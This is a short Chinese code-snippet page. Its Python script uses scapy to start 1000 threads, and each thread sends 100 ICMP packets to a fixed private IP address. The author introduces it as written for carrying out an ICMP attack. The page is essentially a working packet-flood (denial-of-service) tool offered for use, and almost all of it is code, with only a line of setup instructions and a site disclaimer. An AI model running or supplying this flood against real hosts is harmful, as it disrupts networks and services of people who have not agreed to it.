首页 > 代码库 > 多线程发送icmp数据包(Python版)
多线程发送icmp数据包(Python版)
做icmp攻击时,先用Python写了发送数据包的函数。
发送数据包用的是scapy模块,需要先安装:apt-get install python-scapy
‘‘‘date:2014/12/3author:yssfunction:send packets from host to server with multithreading‘‘‘import threadingfrom time import sleep,ctimefrom scapy.all import *num=1000#the number of the threadclass MyThread(threading.Thread): def __init__(self,func,args,name=‘‘): threading.Thread.__init__(self) self.name=name self.func=func self.args=args def run(self): apply(self.func,self.args)def send_packet(): send(IP(dst=‘192.168.85.132‘,ttl=(1,100))/ICMP())#each thread send 100 packetsdef main(): print ‘starting at:‘,ctime() threads=[] #deposit thresds #nloops=range(len(loops)) for i in range(num): #create an instance of an object t=MyThread(send_packet,(),send_packet.__name__) threads.append(t) for i in range(num): #start threads threads[i].start() for i in range(num): #wait for all threads[i].join()#threads to finish print ‘all done at:‘,ctime()if __name__ == ‘__main__‘: main()
多线程发送icmp数据包(Python版)
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。